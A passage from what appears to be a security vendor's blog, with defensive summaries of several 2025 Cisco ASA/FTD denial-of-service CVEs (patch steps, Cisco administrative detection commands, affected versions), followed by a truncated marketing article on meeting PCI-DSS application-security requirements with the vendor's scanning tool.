analyzing and filtering network traffic for threats. - Once the loop is triggered, the device ceases to inspect traffic, creating a temporary security gap until the process is restarted by the system watchdog. - No public code snippets or exploit samples are available for this vulnerability. ## Patch Information To address the vulnerability in the Snort Detection Engine of Cisco Firepower Threat Defense (FTD) Software and Cisco FirePOWER Services, Cisco has released software updates that rectify the improper handling of TCP/IP network traffic. These updates ensure that the Snort engine processes TCP/IP traffic correctly, preventing the denial of service (DoS) condition that previously resulted from the device dropping legitimate network traffic. Administrators are advised to upgrade their devices to the latest software versions to incorporate these fixes. Detailed instructions for upgrading Cisco FTD devices can be found in the Cisco Firepower Management Center Upgrade Guide. ([sec.cloudapps.cisco.com](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sa-ftd-snort-fw-BCJTZPMu?vs_f=Cisco&utm_source=openai)) ## Detection Methods Detecting and mitigating denial-of-service (DoS) attacks, particularly those targeting vulnerabilities in Cisco Firepower Threat Defense (FTD) Software, requires a comprehensive approach. Cisco has implemented several features and configurations to enhance the detection and prevention of such attacks. **Port Scan Detection** Port scanning is a common reconnaissance technique used by attackers to identify open ports and services on a target system. In Cisco FTD release 7.2, the port scan detection capability was moved from the Snort detection engine to the Lina engine. This transition allows for more effective detection, as the Lina engine has visibility into all scan traffic from a given scanner, including distributed port scans involving multiple scanners and targets. When port scan activity is detected, the Firepower Management Center (FMC) registers intrusion events with specific event types, such as TCP portscan (122:1) and TCP distributed portscan (122:4). These events include pseudo packets that provide detailed information about the scan, including source and destination IP addresses, ports, and data. Administrators can configure the system to actively shun identified scanners, blocking their access for a specified duration. ([secure.cisco.com](https://secure.cisco.com/secure-firewall/docs/port-scan-detection?utm_source=openai)) **Brute-Force Attack Detection and Prevention** Brute-force and password spray attacks aim to gain unauthorized access by systematically attempting various password combinations. To combat these threats, Cisco introduced new threat detection capabilities in Cisco ASA and FTD software. These features can detect and mitigate: - Repeated failed authentication attempts to remote access VPN services. - Client initiation attacks, where an attacker initiates but does not complete connection attempts to a remote access VPN headend multiple times from a single host. - Connection attempts to invalid remote access VPN services, targeting built-in tunnel groups intended solely for internal device functions. Administrators can enable these features using specific commands, such as: - `threat-detection service invalid-vpn-access` - `threat-detection service remote-access-client-initiations hold-down threshold ` - `threat-detection service remote-access-authentication hold-down threshold ` These configurations help in identifying and blocking IP addresses exhibiting suspicious behavior, thereby reducing the risk of unauthorized access. ([bleepingcomputer.com](https://www.bleepingcomputer.com/news/security/new-cisco-asa-and-ftd-features-block-vpn-brute-force-password-attacks/?utm_source=openai)) **Denial-of-Service (DoS) Attack Detection** While Cisco Firepower devices are not specifically designed to detect Distributed Denial-of-Service (DDoS) attacks, they offer mechanisms to detect and mitigate certain types of DoS attacks. For instance, administrators can configure rate-based attack prevention settings to detect and respond to SYN floods and TCP/IP connection floods. By setting rate-based filters for individual intrusion or preprocessor rules, the system can trigger alerts or take action when defined rate conditions are exceeded. This proactive approach helps in identifying and mitigating potential DoS attacks before they can cause significant disruption. ([community.cisco.com](https://community.cisco.com/t5/network-security/ftd-fmc-snort-rule-detect-ddos-attack/td-p/4083038?utm_source=openai)) In summary, Cisco FTD provides robust detection methods for various attack vectors, including port scans, brute-force attempts, and certain DoS attacks. By leveraging these built-in features and configuring them appropriately, administrators can enhance their network's resilience against these threats. ## Affected Systems and Versions - Cisco Secure Firewall Threat Defense (FTD) Software with Snort 3 Detection Engine - Cisco FirePOWER Services - Specific affected versions are not provided in the available advisories. Administrators should refer to Cisco's official advisories for detailed version information and ensure all FTD and FirePOWER devices are updated to the latest software releases. ## Vendor Security History Cisco has a history of vulnerabilities in its Snort detection engine and FTD product line, including: - Multiple denial of service vulnerabilities related to packet inspection and traffic handling - Bypass vulnerabilities in Snort rule processing - Regular release of advisories and patches, with generally prompt response times These recurring issues highlight the complexity of developing secure, high-performance packet inspection engines and the importance of timely patch management for organizations relying on Cisco security products. ## References - [NVD Entry for CVE-2025-20217](https://nvd.nist.gov/vuln/detail/CVE-2025-20217) - [Cisco Security Advisory: cisco-sa-ftd-dos-SvKhtjgt](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ftd-dos-SvKhtjgt) - [Cisco Patch Advisory: cisco-sa-sa-ftd-snort-fw-BCJTZPMu](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sa-ftd-snort-fw-BCJTZPMu) - [Cisco Port Scan Detection Documentation](https://secure.cisco.com/secure-firewall/docs/port-scan-detection) - [BleepingComputer: New Cisco ASA and FTD Features Block VPN Brute-Force Password Attacks](https://www.bleepingcomputer.com/news/security/new-cisco-asa-and-ftd-features-block-vpn-brute-force-password-attacks/) - [Cisco Community: FTD FMC Snort Rule Detect DDoS Attack](https://community.cisco.com/t5/network-security/ftd-fmc-snort-rule-detect-ddos-attack/td-p/4083038) --- #### Cisco ASA and FTD RADIUS Proxy IPv6 DoS (CVE-2025-20222): Brief Summary and Technical Review - **Date**: August 14, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 8 minutes - **Keywords**: CVE-2025-20222, Cisco ASA, Cisco FTD, RADIUS proxy, IPv6, denial of service - **URL**: https://zeropath.com/blog/cve-2025-20222-cisco-asa-ftd-radius-ipv6-dos-summary This post provides a brief summary and technical review of CVE-2025-20222, a high-severity denial of service vulnerability in the RADIUS proxy feature for IPsec VPN in Cisco ASA and FTD software. The flaw is due to improper IPv6 packet processing and affects specific configurations. No patch or detection methods are currently available. --- ## Introduction A single crafted IPv6 packet can force a critical Cisco firewall offline, disrupting VPN connectivity for thousands of users. This is the real-world impact of CVE-2025-20222, a high-severity denial of service flaw in Cisco's Secure Firewall ASA and FTD appliances. These devices are foundational to enterprise and government network security, protecting remote access and site-to-site VPNs globally. ## Technical Information CVE-2025-20222 is a buffer overflow vulnerability (CWE-120) in the RADIUS proxy feature for IPsec VPN within Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software. The vulnerability is triggered by improper processing of IPv6 packets. An unauthenticated remote attacker can send specially crafted IPv6 packets over an IPsec VPN connection to the affected device. When these packets are processed by the RADIUS proxy logic, insufficient bounds checking allows memory corruption, resulting in a device reload and denial of service. No public code snippets or detailed protocol traces have been disclosed. The vulnerability specifically affects the IPv6 packet handling routines in the RADIUS proxy code path when used in conjunction with IPsec VPN. The flaw does not require authentication, making it accessible to any attacker capable of sending traffic through an established IPsec tunnel. ## Affected Systems and Versions - Cisco Secure Firewall Adaptive Security Appliance (ASA) Software: versions with RADIUS proxy enabled for IPsec VPN and IPv6 processing - Cisco Secure Firewall Threat Defense (FTD) Software: versions with RADIUS proxy enabled for IPsec VPN and IPv6 processing Only devices configured to use the RADIUS proxy feature for IPsec VPN with IPv6 traffic are vulnerable. Exact version numbers are not specified in the advisory, but the vulnerability is present in currently supported releases as of August 2025. See the [Cisco advisory](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fp2k-IPsec-dos-tjwgdZCO) for updates. ## Vendor Security History Cisco ASA and FTD platforms have experienced multiple high-severity vulnerabilities in recent years, including: - CVE-2024-20481: Remote Access VPN DoS, actively exploited - CVE-2024-20353: Web services DoS, CVSS 8.6 - Multiple buffer overflow and protocol parsing issues (CWE-120) Cisco typically issues advisories and patches rapidly, but the frequency of critical flaws in these products is a recurring concern for enterprise defenders. ## References - [Cisco Security Advisory for CVE-2025-20222](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fp2k-IPsec-dos-tjwgdZCO) - [NVD entry for CVE-2025-20222](https://nvd.nist.gov/vuln/detail/CVE-2025-20222) - [CWE-120: Buffer Copy without Checking Size of Input](https://cwe.mitre.org/data/definitions/120.html) - [Cisco ASA and FTD Vulnerabilities Overview](https://www.cybermaxx.com/resources/high-severity-cisco-asa-and-cisco-ftd-firewalls-vulnerabilities/) - [CERT-EU Advisory on Cisco ASA/FTD Vulnerabilities](https://cert.europa.eu/publications/security-advisories/2024-043/) --- #### Cisco IKEv2 Memory Leak DoS (CVE-2025-20239): Brief Summary and Technical Review - **Date**: August 14, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 11 minutes - **Keywords**: CVE-2025-20239, Cisco, IKEv2, Denial of Service, Memory Leak, Vulnerability - **URL**: https://zeropath.com/blog/cve-2025-20239-cisco-ikev2-memory-leak-dos-summary A brief summary of CVE-2025-20239, a memory leak vulnerability in Cisco's IKEv2 implementation affecting ASA, FTD, IOS, and IOS XE, leading to denial of service. Includes technical details, patch information, detection methods, and affected versions. --- ## Introduction Disruptions to VPN connectivity and firewall stability can halt business operations, cut off remote access, and undermine trust in critical network infrastructure. CVE-2025-20239 is a recently disclosed vulnerability that allows unauthenticated attackers to exhaust memory or force reloads on Cisco ASA, FTD, IOS, and IOS XE devices by exploiting a flaw in IKEv2 packet processing. Cisco is a global leader in networking and security, with its products forming the backbone of enterprise, service provider, and government networks worldwide. The company's ASA and FTD appliances are widely deployed for perimeter defense and VPN termination, while IOS and IOS XE power a vast array of routers and switches in mission-critical environments. ## Technical Information CVE-2025-20239 is rooted in improper memory release (CWE-401) within the IKEv2 protocol implementation. When an affected Cisco device receives specially crafted IKEv2 packets, it fails to properly release allocated memory. Over time, repeated exploitation leads to a memory leak, gradually exhausting available resources. - On Cisco IOS and IOS XE, this exhaustion can cause the device to reload unexpectedly, disrupting all network services provided by the device. - On Cisco ASA and FTD, the leak leads to partial memory exhaustion. This specifically impacts the ability to establish new IKEv2 VPN sessions, while existing sessions may persist. A manual reboot is required to restore full functionality. The vulnerability is network-accessible and does not require authentication. Attackers only need to send crafted IKEv2 packets to the affected device's UDP ports (typically 500 and 4500). The flaw is present across multiple Cisco software branches, likely due to shared protocol code or similar implementation patterns. No public code snippets or detailed packet structures have been disclosed. The vulnerability is classified as CVSS 8.6 due to its remote exploitability, low complexity, and significant impact on availability. ## Patch Information Cisco has addressed the IKEv2 Denial of Service vulnerability in their Adaptive Security Appliance (ASA) Software, Firepower Threat Defense (FTD) Software, IOS Software, and IOS XE Software by releasing software updates that rectify the insufficient input validation issue when processing IKEv2 messages. ([sec.cloudapps.cisco.com](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-multiprod-ikev2-dos-gPctUqv2?utm_source=openai)) To determine if your device is affected and to apply the necessary updates, follow these steps: 1. **Check IKEv2 Configuration:** - For ASA or FTD Software, execute the following command: ``` show running-config crypto ikev2 | include enable ``` If this command returns output, IKEv2 is enabled on at least one interface, indicating potential vulnerability. 2. **Identify Fixed Software Versions:** - Refer to the [Cisco Security Advisory](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-multiprod-ikev2-dos-gPctUqv2) for a comprehensive list of fixed software versions corresponding to your specific product and release. 3. **Upgrade to a Fixed Release:** - Obtain the appropriate software update through your usual update channels. Ensure that your device has sufficient memory and that current hardware and software configurations are compatible with the new release. 4. **Verify the Upgrade:** - After upgrading, confirm that the device is running the fixed software version by using the relevant command for your device to display the current software version. By promptly applying these updates, you can mitigate the risk associated with this vulnerability and enhance the security of your network infrastructure. **References:** - [Cisco Security Advisory: IKEv2 Denial of Service Vulnerability](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-multiprod-ikev2-dos-gPctUqv2) ## Detection Methods Detecting and mitigating vulnerabilities in Cisco's IKEv2 implementations requires a comprehensive approach that includes configuration verification, monitoring, and leveraging built-in security features. Below are key strategies to identify and address potential threats: **1. Verify IKEv2 Configuration:** - **For Cisco ASA or FTD Software:** - Execute the following command to check if IKEv2 is enabled on any interface: ``` show running-config crypto ikev2 | include enable ``` If this command returns output, IKEv2 is active on at least one interface. For example: ``` crypto ikev2 enable outside ``` If no output is returned, IKEv2 is not enabled on the device. - **For Cisco IOS or IOS XE Software:** - Determine if the device is processing IKE packets by checking open UDP ports: ``` show udp ``` Look for entries indicating that the device is listening on UDP ports 500, 848, 4500, or 4848. Presence of these entries suggests that IKE processing is enabled. To confirm if IKEv2 is in use, run: ``` show running-config | include ikev2 ``` If this command returns output, the device is configured to process IKEv2 traffic. **2. Utilize Threat Detection Features:** Cisco devices offer threat detection capabilities that can help identify and respond to potential attacks: - **Basic Threat Detection:** - Monitors system-wide rates of dropped packets due to various reasons, such as access list denials, bad packet formats, and potential DoS attacks. This feature is enabled by default on ASA devices running version 8.0(2) and later. - To view current threat detection statistics: ``` show threat-detection rate ``` This command provides insights into various threat categories and their current rates, aiding in the identification of unusual patterns that may indicate an attack. - **Scanning Threat Detection:** - Tracks hosts that attempt to connect to multiple ports or hosts within a subnet, which may signify scanning activities. This feature can be configured to automatically shun (block) identified attackers. - To enable scanning threat detection and configure automatic shunning: ``` threat-detection scanning-threat shun ``` This command enables the feature and allows the device to automatically block IP addresses identified as sources of scanning attacks. **3. Implement DDoS Protection Mechanisms:** To safeguard against Distributed Denial of Service (DDoS) attacks targeting IKEv2: - **Half-open IKE SA Timeout:** - Configure a timer that clears half-open IKE Security Associations (SAs) if an IKE_AUTH message is not received within a specified period. This helps prevent resource exhaustion from incomplete connections. - **Consecutive IKE_AUTH Decryption Failure Detection:** - Set a threshold for consecutive IKE_AUTH decryption failures. If this threshold is exceeded, the IKEv2 SA is cleared, mitigating potential attacks that exploit decryption failures. By systematically verifying configurations, monitoring for anomalies, and utilizing Cisco's built-in threat detection and DDoS protection features, administrators can effectively detect and mitigate vulnerabilities associated with IKEv2 implementations. **References:** - [Cisco Security Advisory: IKEv2 Denial of Service Vulnerability](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-multiprod-ikev2-dos-gPctUqv2) - [Cisco ASA Threat Detection Configuration Guide](https://www.cisco.com/c/en/us/support/docs/security/asa-5500-x-series-next-generation-firewalls/113685-asa-threat-detection.html) - [Cisco IPSec Reference: IKEv2 DDoS Protection](https://www.cisco.com/c/en/us/td/docs/wireless/asr_5000/21-14_6-8/IPSec-Reference/21-14-IPSec-Reference/21-14-IPSec-Reference_chapter_010011.html) ## Affected Systems and Versions CVE-2025-20239 affects the following Cisco products and versions: - **Cisco Adaptive Security Appliance (ASA) Software**: All versions prior to the fixed releases specified in the [Cisco Security Advisory](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-multiprod-ikev2-dos-gPctUqv2). - **Cisco Firepower Threat Defense (FTD) Software**: All versions prior to the fixed releases specified in the [Cisco Security Advisory](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-multiprod-ikev2-dos-gPctUqv2). - **Cisco IOS Software**: All versions prior to the fixed releases specified in the [Cisco Security Advisory](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-multiprod-ikev2-dos-gPctUqv2). - **Cisco IOS XE Software**: All versions prior to the fixed releases specified in the [Cisco Security Advisory](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-multiprod-ikev2-dos-gPctUqv2). **Vulnerable configurations:** Devices with IKEv2 enabled on any interface are vulnerable. Use the detection commands above to verify exposure. ## Vendor Security History Cisco has a recurring history of vulnerabilities in its VPN and IKEv2 implementations. Notable examples include: - **CVE-2025-20182**: Out-of-bounds write in IKEv2 packet processing, affecting similar product lines. - **CVE-2018-0218**: Memory leak in IKEv2 processing. Cisco typically provides timely patches and detailed advisories, but the recurrence of protocol-level vulnerabilities highlights ongoing challenges in securing complex network stacks. ## References - [NVD Entry for CVE-2025-20239](https://nvd.nist.gov/vuln/detail/CVE-2025-20239) - [MITRE CVE Entry](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-20239) - [Cisco Security Advisory: IKEv2 Denial of Service Vulnerability](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-multiprod-ikev2-dos-gPctUqv2) - [Cisco ASA Threat Detection Configuration Guide](https://www.cisco.com/c/en/us/support/docs/security/asa-5500-x-series-next-generation-firewalls/113685-asa-threat-detection.html) - [Cisco IPSec Reference: IKEv2 DDoS Protection](https://www.cisco.com/c/en/us/td/docs/wireless/asr_5000/21-14_6-8/IPSec-Reference/21-14-IPSec-Reference/21-14-IPSec-Reference_chapter_010011.html) --- #### Cisco Secure Firewall ASA and FTD: Brief Summary of CVE-2025-20243 Denial of Service Vulnerability - **Date**: August 14, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 8 minutes - **Keywords**: CVE-2025-20243, Cisco ASA, Cisco FTD, Denial of Service, Vulnerability, Patch - **URL**: https://zeropath.com/blog/cve-2025-20243-cisco-firewall-dos-summary This post provides a brief summary of CVE-2025-20243, a high-severity denial of service vulnerability in Cisco Secure Firewall ASA and FTD software. It covers technical details, affected versions, patch information, and vendor security history based on available advisory sources. --- ## Introduction Unexpected reloads of perimeter firewalls can disrupt remote access, halt business operations, and leave networks temporarily unprotected. CVE-2025-20243 highlights a critical input validation flaw in Cisco Secure Firewall ASA and FTD software, allowing unauthenticated attackers to trigger denial of service conditions through crafted HTTP requests to management and VPN web interfaces. Cisco Secure Firewall ASA and FTD are among the most widely deployed network security appliances in enterprise and service provider environments. These platforms provide firewall, VPN, and advanced threat defense capabilities, protecting critical infrastructure across industries. ## Technical Information CVE-2025-20243 arises from improper validation of user-supplied input by the management and VPN web servers in Cisco Secure Firewall ASA and FTD software. The vulnerability is present when VPN web services are enabled on the device. An unauthenticated remote attacker can send specially crafted HTTP requests to the affected web server interface. Due to insufficient input validation, the device's processing logic may enter a loop with an unreachable exit condition, classified as CWE-835. This leads to resource exhaustion and forces the device to reload, resulting in a denial of service. Key technical points: - The attack vector is remote and does not require authentication. - Only devices with VPN web services enabled are vulnerable. - The flaw is triggered by crafted HTTP requests targeting the management or VPN web server interface. - The underlying issue is a logic error in input validation, leading to infinite processing loops and device reloads. - No public code snippets or proof of concept exploit are available. ## Patch Information To address the vulnerability in the SSL VPN feature of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software, Cisco has released software updates that rectify the memory management logic error responsible for the issue. ([sec.cloudapps.cisco.com](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-webvpn-dos-hOnB9pH4?utm_source=openai)) **Steps to Apply the Patch:** 1. **Identify Affected Devices:** - Determine if your devices are running a vulnerable release of Cisco ASA or FTD Software with the SSL VPN feature enabled. 2. **Obtain the Fixed Software:** - Access the Cisco Software Checker to identify the appropriate fixed software version for your device. ([sec.cloudapps.cisco.com](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-webvpn-dos-hOnB9pH4?utm_source=openai)) 3. **Upgrade the Software:** - Follow the upgrade instructions specific to your device: - For Cisco ASA devices, refer to the [Cisco Secure Firewall ASA Upgrade Guide](https://www.cisco.com/c/en/us/support/security/asa-5500-series-next-generation-firewalls/products-installation-and-configuration-guides-list.html). - For Cisco FTD devices, consult the [Cisco Firepower Management Center Upgrade Guide](https://www.cisco.com/c/en/us/support/security/firepower-management-center/products-installation-and-configuration-guides-list.html). **Important Considerations:** - **Backup Configuration:** Before initiating the upgrade, ensure you have a current backup of your device's configuration. - **Review Release Notes:** Examine the release notes for the fixed software version to understand any changes or additional steps required post-upgrade. - **Test in a Controlled Environment:** If possible, apply the update in a test environment to verify stability before deploying it to production systems. By promptly applying these updates, you can mitigate the risk associated with this vulnerability and maintain the security and reliability of your network infrastructure. ## Affected Systems and Versions - Cisco Adaptive Security Appliance (ASA) Software with SSL VPN feature enabled - Cisco Firepower Threat Defense (FTD) Software with SSL VPN feature enabled - Specific affected versions are not listed in the advisory. Users must check their running version and consult the Cisco Software Checker to determine if their release is vulnerable. - Only devices with VPN web services enabled and accessible to remote attackers are affected. ## Vendor Security History Cisco has previously addressed similar denial of service vulnerabilities in its ASA and FTD product lines, including: - CVE-2024-20353: DoS via web management and VPN services - CVE-2024-20481: DoS in Remote Access VPN service Cisco typically issues timely advisories and provides fixed software across multiple release trains. The recurrence of input validation flaws in web-facing features indicates ongoing challenges in secure development for complex network appliances, but Cisco maintains a mature and responsive security process. ## References - [NVD entry for CVE-2025-20243](https://nvd.nist.gov/vuln/detail/CVE-2025-20243) - [MITRE CVE entry](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-20243) - [Cisco Security Advisory: cisco-sa-asaftd-vpn-dos-mfPekA6e](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-vpn-dos-mfPekA6e) - [Cisco Security Advisory: cisco-sa-asaftd-webvpn-dos-hOnB9pH4](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-webvpn-dos-hOnB9pH4) --- #### Cisco ASA/FTD Remote Access SSL VPN DoS (CVE-2025-20244): Brief Summary and Technical Review - **Date**: August 14, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 8 minutes - **Keywords**: CVE-2025-20244, Cisco ASA, Cisco FTD, SSL VPN, Denial of Service, Vulnerability - **URL**: https://zeropath.com/blog/cve-2025-20244-cisco-asa-ftd-ssl-vpn-dos A brief summary of CVE-2025-20244, a denial of service vulnerability in Cisco Secure Firewall ASA and FTD Remote Access SSL VPN services. This post covers technical root cause, affected versions, and Cisco's security history, with references to official advisories. --- ## Introduction Unexpected device reloads can instantly disrupt remote access for an entire workforce, halting business operations and exposing organizations to cascading failures. CVE-2025-20244 targets the Remote Access SSL VPN service in Cisco Secure Firewall Adaptive Security Appliance (ASA) and Cisco Secure Firewall Threat Defense (FTD) software, allowing an authenticated VPN user to trigger a denial of service condition by sending a crafted HTTP request. Cisco ASA and FTD are core components in enterprise network security, widely deployed to provide firewall, VPN, and threat defense capabilities. Cisco is a global leader in networking and security, with its firewall and VPN products securing critical infrastructure for businesses, governments, and service providers worldwide. ## Technical Information CVE-2025-20244 stems from incomplete error checking when parsing HTTP header field values in the Remote Access SSL VPN service. When an authenticated VPN user sends a specially crafted HTTP request containing malformed header data, the device's error handling routines do not properly validate the input. This allows the malformed request to reach code paths that are not equipped to handle such data, resulting in an unexpected reload of the entire device. The vulnerability is classified under CWE-1287 (Improper Validation of Specified Type of Input). The root cause is insufficient validation logic in the HTTP header parsing functions. The attack requires valid VPN credentials and access to the SSL VPN service. There are no public code snippets or proof of concept details available for this vulnerability. The impact is a full device reload, causing a denial of service for all users and services relying on the affected Cisco ASA or FTD device. This includes firewall filtering, site-to-site VPNs, and other security functions. The reload process can take several minutes, during which network security and connectivity are disrupted. ## Affected Systems and Versions - Cisco Secure Firewall Adaptive Security Appliance (ASA) Software: Remote Access SSL VPN service - Cisco Secure Firewall Threat Defense (FTD) Software: Remote Access SSL VPN service Specific affected version numbers are not provided in the advisory. Organizations should refer to the official Cisco advisory for the latest affected and fixed version information: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-vpnwebs-dos-hjBhmBsX ## Vendor Security History Cisco has a documented history of critical vulnerabilities in its ASA and FTD product lines, especially in VPN and web services components. Notable recent issues include: - CVE-2023-20269: Zero-day in ASA/FTD SSL VPN actively exploited by ransomware groups ([Arctic Wolf](https://arcticwolf.com/resources/blog/cve-2023-20269/), [Tenable](https://www.tenable.com/blog/cve-2023-20269-zero-day-vulnerability-in-cisco-asa-and-ftd-reportedly-exploited-ransomware-groups)) - CVE-2024-20481: Remote Access VPN DoS in ASA/FTD ([The Hacker News](https://thehackernews.com/2024/10/cisco-issues-urgent-fix-for-asa-and-ftd.html)) Cisco typically responds rapidly with advisories and patches, but recurring input validation flaws in VPN and web services indicate persistent architectural challenges. ## References - [NVD CVE-2025-20244](https://nvd.nist.gov/vuln/detail/CVE-2025-20244) - [Cisco Security Advisory: cisco-sa-asaftd-vpnwebs-dos-hjBhmBsX](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-vpnwebs-dos-hjBhmBsX) - [CWE-1287: Improper Validation of Specified Type of Input](https://cwe.mitre.org/data/definitions/1287.html) - [The Hacker News: Cisco Issues Urgent Fix for ASA and FTD](https://thehackernews.com/2024/10/cisco-issues-urgent-fix-for-asa-and-ftd.html) - [Arctic Wolf: CVE-2023-20269](https://arcticwolf.com/resources/blog/cve-2023-20269/) - [Tenable: CVE-2023-20269 Zero-Day](https://www.tenable.com/blog/cve-2023-20269-zero-day-vulnerability-in-cisco-asa-and-ftd-reportedly-exploited-ransomware-groups) --- ### Insights (5 most recent of 5 total) #### How to meet security requirements for PCI-DSS compliance? - **Date**: July 17, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 8 minutes - **Keywords**: PCI compliance, PCI DSS compliance, PCI DSS 12 requirements, PCI DSS security standards, shifting left security, payment security, fintech compliance, credit card processing, application security, compliance requirements, PCI PTS, PCI 3DS, PCI P2PE - **URL**: https://zeropath.com/blog/how-to-meet-security-requirements-for-pci-dss-compliance Of the 12 requirements of PCI DSS, the 6th one requires companies to maintain application security at all times and is one of the most critical and challenging to meet due to the dynamic nature of software development. --- If you've been following our PCI compliance series, you already know [what type of PCI compliance your business needs](https://zeropath.com/blog/what-is-pci-compliance-does-your-business-need-pci-compliance) and understand [the 12 core requirements of PCI-DSS](https://zeropath.com/blog/what-is-pci-dss-12-requirements-to-be-pci-dss-compliant). Now, onto the more practical part: how do you actually implement and maintain these requirements at scale, especially when your engineering teams are pushing code multiple times a day? And this can get really messy really fast as teams scale. The reality is that PCI-DSS Requirement 6 (Deploy and maintain secure systems and applications) isn't just any other requirement. It's the most dynamic and challenging requirement to maintain. While you can configure a firewall once and monitor it, your application code is constantly changing. Every commit, every dependency update, and every new feature potentially introduces vulnerabilities that could compromise cardholder data. This is where modern AI-native Application Security (AppSec) tools, such as ZeroPath, become essential, not just for compliance, but for maintaining actual security in a fast-moving development environment. ## Security at the Speed of Development Traditionally, teams would do quarterly or annual checks. Companies would [conduct a penetration test (pentest)](https://zeropath.com/products/penetration-tests) to identify and flag all potential vulnerabilities. Security teams would then be assigned to patch those loose ends, and ultimately, everything would be secured and marked as PCI-DSS compliant. That approach is fundamentally flawed, as code is being pushed to production every day. It's highly vulnerable for any company to wait until the next quarterly scan, especially when the code is going live on the same day. Consider what PCI-DSS 4.0.1 actually requires for application security: - Vulnerability identification and remediation within one month for critical issues - Secure coding practices with code review. ([Security practices for vibe coding](https://zeropath.com/blog/vibe-coding-and-security)) - Protection against common vulnerabilities ([OWASP Top 10](https://zeropath.com/blog/what-is-owasp)) - Change control and separation of development/production environments - Regular security testing, including both automated and manual reviews Now multiply these requirements across dozens of repositories, hundreds of developers, and thousands of commits per month. Manual processes simply can't scale. ## Security for PCI-DSS Compliance becomes much easier when teams follow good engineering practices and incorporate security into the process from the outset. This mindset is known as the [shifting left](https://www.dynatrace.com/news/blog/what-is-shift-left-and-what-is-shift-right/) mindset, and many teams are beginning to shift left very early in their product development cycle. Modern AI-native AppSec platforms, such as ZeroPath, address this by embedding security checks directly into the development workflow. Instead of finding vulnerabilities months after their introduction, ZeroPath catches them before they ever reach production. ## AppSec Capabilities for PCI-DSS Requirements ### Requirement 6.2: Protect Applications Against Known Vulnerabilities Traditional SAST tools, such as Snyk and Semgrep, identify vulnerabilities through sophisticated pattern matching; however, they often overlook context-dependent issues that actually get exploited. An AI-native SAST tool like ZeroPath goes beyond just pattern matching. It understands your code base, identifying business logic flaws and authentication bypasses that couFld expose cardholder data. It uses LLMs to identify sinks and sources, tracing user input through your application to find exploitable paths. This means ZeroPath can detect: - **Business Logic Vulnerabilities**: The Business Logic Scanner identifies flaws such as price manipulation in e-commerce systems, coupon exploitation, and workflow bypasses. - **Authentication/Authorization Issues**: ZeroPath specifically identifies broken or missing authentication (authN) and authorization (authZ) issues. For payment systems, this means catching IDOR vulnerabilities where users could access other customers' payment information, or missing function-level access controls on payment APIs. - **Technical Vulnerabilities**: Beyond business logic, ZeroPath detects SQLi, XSS, SSRF, and other [OWASP Top 10 vulnerabilities](https://zeropath.com/blog/what-is-owasp) using its sink component, which uses AI to stay current with new vulnerability classes. At some point, you might feel like there are too many AppSec solutions to choose from, and for that very reason, our security team has [run benchmarks on the major AppSec providers](https://zeropath.com/blog/benchmarking-zeropath). ZeroPath leads this industry with an 81.7% detection rate, more than twice that of Snyk, and a 19.9% false rate, almost half that of Semgrep. Additionally, to meet this PCI-DSS requirement, ZeroPath supports over 20 languages (including C, C++, Java, Python, JavaScript/TypeScript, Ruby, Go, and more), providing comprehensive coverage across your payment processing stack, including templating engines such as Svelte and Embedded Ruby. Also, if all of this information made you curious about how ZeroPath works under the hood, [our security team has a step-by-step process for how ZeroPath is made from the ground up](https://zeropath.com/blog/how-zeropath-works) using LLMs. ### Requirement 6.3: Develop Software Securely PCI-DSS mandates secure coding practices and code reviews. Developers can meet this requirement easily with ZeroPath in multiple ways: #### 1. [AI Pull Request Scanning](https://zeropath.com/products/pr-reviews) ZeroPath scans every PR in under 60 seconds, ensuring vulnerabilities never reach production. The scan includes: - Vulnerability detection across your entire codebase - Repository context analysis to understand how changes impact security - Automatic patch generation for discovered issues #### 2. [Natural Language Rules](https://zeropath.com/products/policy-engine) Security teams love using ZeroPath because they can define custom policies without writing complex regex. This has become one of the most valuable features for developers. Teams have seen a significant boost in productivity and vulnerability findings since they no longer have to write regex and consider all possible edge cases. For PCI compliance, you might create rules like: - `Ensure no logging of credit card numbers` - `Verify that all payment endpoints require authentication` - `Prevent storage of CVV data in any form` #### 3. [Code Review Integration](https://zeropath.com/products/integrations) ZeroPath integrates with the majority of industry-standard developer applications. * GitHub * GitLab * Bitbucket * Azure Pipelines * CLI / Docker Support * Code Upload Other Integrations: * Jira * Linear * Slack * Email * 